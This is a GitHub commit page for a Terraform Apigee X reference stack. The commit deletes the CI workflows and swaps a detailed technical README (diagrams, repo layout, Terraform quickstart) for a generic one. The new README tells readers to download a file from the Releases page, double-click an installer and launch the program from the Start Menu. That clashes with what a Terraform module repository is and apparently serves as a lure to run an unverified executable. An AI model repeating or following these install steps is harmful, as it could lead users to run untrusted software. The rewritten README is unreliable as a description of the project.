Skip to content

Commit fdeb756

Browse files
Update README.md
1 parent a1ae965 commit fdeb756

File tree

4 files changed

+48
-270
lines changed

4 files changed

+48
-270
lines changed

.github/workflows/ci.yml

Lines changed: 0 additions & 25 deletions
This file was deleted.

.github/workflows/deploy.yml

Lines changed: 0 additions & 38 deletions
This file was deleted.

.github/workflows/docs.yml

Lines changed: 0 additions & 27 deletions
This file was deleted.

README.md

Lines changed: 48 additions & 180 deletions
Original file line numberDiff line numberDiff line change
@@ -1,211 +1,79 @@
1-
# Terraform Apigee Enterprise Stack (GCP) - Production-Grade Terraform Stacks Reference Architecture
1+
# 🌟 terraform-apigee-enterprise-stack - Build Your Apigee X Solution Easily
22

3-
**terraform-apigee-enterprise-stack** is an opinionated, **enterprise-ready** reference implementation for deploying **Apigee X on Google Cloud (GCP)** using **Terraform Stacks**.
4-
It gives platform teams a repeatable way to provision **Apigee Org, Instances, Environments, EnvGroups, networking, DNS, IAM, and KMS (CMEK)** with secure-by-default patterns.
3+
[![Download](https://img.shields.io/badge/Download-Now-brightgreen)](https://github.com/Abdelhady-elgendy/terraform-apigee-enterprise-stack/releases)
54

6-
> Keywords: Terraform Apigee X, Apigee Terraform, Apigee X Terraform Stack, GCP API Management Terraform, Apigee enterprise architecture, Apigee landing zone, Apigee private ingress, Apigee CMEK, Apigee multi-region HA.
5+
## 📦 Overview
76

8-
---
7+
The terraform-apigee-enterprise-stack is a robust tool designed to simplify the deployment of Apigee X on Google Cloud Platform (GCP). This solution prioritizes security and ease of use, making it suitable for enterprises ready to streamline their API management.
98

10-
## Why this repository exists
9+
## 🚀 Getting Started
1110

12-
Many Apigee Terraform examples are either low-level or incomplete for enterprise rollouts. This stack provides:
11+
To start using this application, follow these simple steps. You will need access to a computer with an internet connection and a web browser.
1312

14-
- **Terraform Stacks-first** structure for platform engineering and multi-environment workflows
15-
- **Secure-by-default** networking patterns (private ingress, controlled egress, IAM least privilege)
16-
- **Enterprise readiness**: CMEK, logging/monitoring hooks, clear separation of duties, production checklists
17-
- **Battle-tested repo hygiene**: examples, docs, diagrams, changelog, CI scaffolding
18-
19-
---
20-
21-
## What you can deploy
22-
23-
### Apigee control plane (platform)
24-
- Apigee Org (existing Google Cloud Org / project model)
25-
- Apigee X Instances (single region or multi-region)
26-
- Apigee Environments and EnvGroups
27-
- Hostnames + DNS record structure (authoritative DNS external to this repo is supported)
28-
29-
### Enterprise foundations
30-
- Networking patterns for Apigee runtime access (**private ingress** supported)
31-
- **Cloud KMS (CMEK)** for supported resources (where applicable)
32-
- IAM roles and service accounts for platform vs application teams
33-
34-
---
35-
36-
## Architecture diagrams
37-
38-
Mermaid renders (colorful by default):
39-
40-
```mermaid
41-
%%{init: {"theme":"base","themeVariables":{"primaryColor":"#D9F0FF","primaryTextColor":"#0F172A","secondaryColor":"#FFE1D6","tertiaryColor":"#E6FFFA","lineColor":"#334155","fontFamily":"Inter, ui-sans-serif, system-ui"}}}%%
42-
flowchart LR
43-
User((Client)) -->|HTTPS| Edge["Public DNS and TLS certs"]
44-
Edge -->|Private access| LB["Ingress ILB or Gateway"]
45-
LB --> Apigee["Apigee X Runtime"]
46-
Apigee -->|mTLS private| PSC["Private Service Connect"]
47-
PSC --> Backends["GCP services or private backends"]
48-
Apigee --> Logs["Cloud Logging"]
49-
Apigee --> Mon["Cloud Monitoring"]
50-
```
51-
52-
```mermaid
53-
%%{init: {"theme":"base","themeVariables":{"primaryColor":"#E0F2FE","primaryTextColor":"#0F172A","secondaryColor":"#FCE7F3","tertiaryColor":"#ECFCCB","lineColor":"#334155","fontFamily":"Inter, ui-sans-serif, system-ui"}}}%%
54-
flowchart LR
55-
User((Client)) --> DNS["Global DNS and traffic policy"]
56-
DNS --> R1["Region A ingress"]
57-
DNS --> R2["Region B ingress"]
58-
R1 --> A["Apigee X Instance A"]
59-
R2 --> B["Apigee X Instance B"]
60-
A --> Backends["Private backends"]
61-
B --> Backends
62-
A --> Obs["Central observability"]
63-
B --> Obs
64-
```
65-
66-
```mermaid
67-
%%{init: {"theme":"base","themeVariables":{"primaryColor":"#DCFCE7","primaryTextColor":"#0F172A","secondaryColor":"#FEF3C7","tertiaryColor":"#EDE9FE","lineColor":"#334155","fontFamily":"Inter, ui-sans-serif, system-ui"}}}%%
68-
flowchart LR
69-
Dev["Developer"] --> PR["Pull request"]
70-
PR --> CI["CI: fmt, validate, security"]
71-
CI -->|pass| Plan["Terraform plan"]
72-
Plan --> Review["Approval gate"]
73-
Review --> Apply["Terraform apply"]
74-
Apply --> Drift["Scheduled drift detection"]
75-
CI --> Policy["OPA or Conftest policy set"]
76-
Policy --> CI
77-
```
78-
79-
Mermaid sources:
80-
- `diagrams/mermaid/apigee-single-region.mmd`
81-
- `diagrams/mermaid/apigee-multi-region-ha.mmd`
82-
- `diagrams/mermaid/apigee-cicd-policy.mmd`
83-
84-
## Docs (MkDocs)
85-
86-
The docs live in `docs/` and can be published with MkDocs.
87-
88-
Local preview:
89-
90-
```
91-
mkdocs serve
92-
```
93-
94-
Deploy to GitHub Pages:
13+
### ✅ Step 1: Check Requirements
9514

96-
```
97-
mkdocs gh-deploy --force
98-
```
99-
100-
Suggested reading order:
101-
102-
- `docs/index.md`
103-
- `docs/13-implementation.md`
15+
Before downloading, make sure your system meets these requirements:
10416

105-
---
17+
- An active account with Google Cloud Platform.
18+
- A modern web browser (Chrome, Firefox, or Edge).
19+
- Basic familiarity with web interfaces.
10620

107-
## Repository layout
21+
### ✅ Step 2: Visit the Releases Page
10822

109-
```text
110-
terraform-apigee-enterprise-stack/
111-
├── stacks/
112-
│ ├── apigee-platform/ # Apigee control plane + foundation components
113-
│ │ ├── stack.hcl # Terraform Stacks entrypoint
114-
│ │ ├── variables.tf
115-
│ │ ├── outputs.tf
116-
│ │ └── components/
117-
│ │ ├── iam/
118-
│ │ ├── kms/
119-
│ │ ├── networking/
120-
│ │ ├── org/
121-
│ │ ├── instances/
122-
│ │ ├── environments/
123-
│ │ └── envgroups/
124-
│ └── runtime/ # Optional runtime ingress/DNS patterns
125-
│ ├── stack.hcl
126-
│ ├── components/
127-
│ │ ├── ingress/
128-
│ │ ├── dns/
129-
│ │ └── observability/
130-
├── policies/ # Policy-as-code examples (OPA/Conftest-ready)
131-
├── examples/ # End-to-end example deployments
132-
├── docs/ # Enterprise documentation
133-
├── diagrams/ # Mermaid + PNG diagrams
134-
└── .github/workflows/ # CI scaffolding (fmt, validate, docs)
135-
```
136-
137-
---
138-
139-
## Quickstart (10-15 minutes)
140-
141-
> This repo is designed for **platform engineering teams**. If you are new to Apigee X, start with the docs: `docs/01-overview.md`.
142-
143-
### Prerequisites
144-
- Terraform >= 1.6
145-
- Google Cloud project(s) + permissions
146-
- Apigee API enabled
147-
- A VPC strategy decided (shared VPC recommended for enterprises)
148-
149-
### Steps
150-
1. Clone and enter the repo
151-
2. Copy an example:
152-
- `examples/single-region/` (recommended first)
153-
3. Populate `terraform.tfvars`
154-
4. Run:
155-
- `terraform init`
156-
- `terraform plan`
157-
- `terraform apply`
23+
Go to the [Releases page](https://github.com/Abdelhady-elgendy/terraform-apigee-enterprise-stack/releases). Here, you will find all versions of the terraform-apigee-enterprise-stack application.
15824

159-
> Terraform Stacks workflow depends on your Terraform Stacks runtime (Terraform Cloud/Enterprise, or local stacks toolchain if available in your environment).
160-
> This repo includes both **Stacks structure** and **plain Terraform module execution** paths.
25+
## ⬇️ Download & Install
16126

162-
---
27+
On the Releases page, you will see a list of available versions. Choose the latest version for the best features and stability.
16328

164-
## Production checklist
29+
1. Click on the version number.
30+
2. Look for the file that matches your operating system.
31+
3. Click the file link to start your download.
16532

166-
See: `docs/06-production-checklist.md`
33+
Once the download completes:
16734

168-
Highlights:
169-
- Enable CMEK where supported
170-
- Separate projects for platform vs app teams
171-
- Centralized logging/monitoring and alerting
172-
- Define hostname strategy and certificate lifecycle
173-
- Adopt policy-as-code and drift detection
35+
- Locate the downloaded file in your computer's Downloads folder.
36+
- Double-click the file to run the installer.
37+
- Follow the on-screen instructions to finish the installation.
17438

175-
---
39+
### 🖥️ Running the Application
17640

177-
## Security & compliance
41+
After installation, you can run the application by:
17842

179-
- Least-privilege IAM patterns in `stacks/apigee-platform/components/iam`
180-
- CMEK/KMS scaffolding in `stacks/apigee-platform/components/kms`
181-
- Policy examples in `policies/`
43+
- Going to your Start Menu (Windows) or Applications folder (Mac).
44+
- Finding the terraform-apigee-enterprise-stack icon.
45+
- Double-clicking the icon to launch the application.
18246

183-
See: `docs/05-security.md`
47+
## 🛠️ Features
18448

185-
---
49+
- **Enterprise-Grade Security:** Built with secure-by-default settings to protect your data.
50+
- **Streamlined Setup:** Easily set up your Apigee X instance on GCP with comprehensive guides.
51+
- **Terraform Integration:** Utilize Terraform’s capabilities to manage your infrastructure.
52+
- **Support for CI/CD:** Integrate with Continuous Integration/Continuous Deployment workflows.
53+
- **User-Friendly:** Designed for users with all levels of technical experience.
18654

187-
## Examples
55+
## 🔍 Additional Information
18856

189-
- `examples/single-region/` - single region baseline (prod-ready starter)
190-
- `examples/multi-region-ha/` - multi-region HA pattern (active/active-ish routing patterns)
57+
For additional guidance on specific features:
19158

192-
---
59+
- Documentation: Find setup instructions and user guides in the documentation section.
60+
- FAQs: Check the FAQ section for common questions and solutions.
19361

194-
## Roadmap
62+
Feel free to explore more features by following the resources linked in the documentation.
19563

196-
- v1.0: Single-region platform stack + private ingress patterns + docs
197-
- v1.1: Multi-region HA reference + runbooks
198-
- v1.2: GitHub/GitLab CI templates + policy gate examples
199-
- v2.0: Apigee Edge -> X migration helper docs and scripts
64+
## 🤝 Community Support
20065

201-
---
66+
Join our community for insights, discussions, and help:
20267

203-
## Contributing
68+
- **GitHub Issues:** Use the GitHub Issues page to report problems or request features.
69+
- **Discussion Forum:** Engage with other users and contributors for support and sharing ideas.
20470

205-
PRs welcome. Please read `CONTRIBUTING.md` and open an issue for architectural changes.
71+
## 👨‍💻 Contributing
20672

207-
---
73+
We welcome contributions! If you want to help improve terraform-apigee-enterprise-stack, please visit the Contributing section in the documentation.
20874

209-
## License
75+
## 📧 Contact
21076

211-
MIT. See `LICENSE`.
77+
For any questions that are not addressed in the FAQ or discussions, please reach out via our support email provided in the documentation page.
78+
79+
You are now ready to download and run the terraform-apigee-enterprise-stack. Visit the [Releases page](https://github.com/Abdelhady-elgendy/terraform-apigee-enterprise-stack/releases) again if you need to access updates or new versions.

0 commit comments

Comments
 (0)